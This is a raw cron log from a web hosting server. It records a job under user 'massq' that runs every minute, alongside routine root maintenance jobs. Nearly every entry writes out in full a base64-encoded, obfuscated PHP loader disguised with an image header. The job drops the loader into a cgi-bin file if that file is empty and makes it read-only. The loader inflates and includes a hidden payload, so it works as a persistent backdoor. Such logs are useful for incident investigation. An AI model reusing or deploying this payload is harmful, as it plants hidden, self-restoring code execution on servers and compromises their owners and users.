LF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:37:01 server CROND[29649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:38:01 server CROND[29712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:39:01 server CROND[29883]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 08:39:01 server CROND[29884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:40:01 server CROND[29956]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:40:01 server CROND[29957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:40:01 server CROND[29958]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:40:01 server CROND[29960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:41:01 server CROND[30070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:42:01 server CROND[30126]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 08:42:01 server CROND[30127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:43:01 server CROND[30206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:44:01 server CROND[30353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:45:01 server CROND[30420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:45:01 server CROND[30421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:45:01 server CROND[30422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:46:01 server CROND[30526]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:47:01 server CROND[30591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:48:01 server CROND[30667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:49:01 server CROND[30818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:50:01 server CROND[30880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:50:01 server CROND[30881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:50:01 server CROND[30884]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 08:50:01 server CROND[30885]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
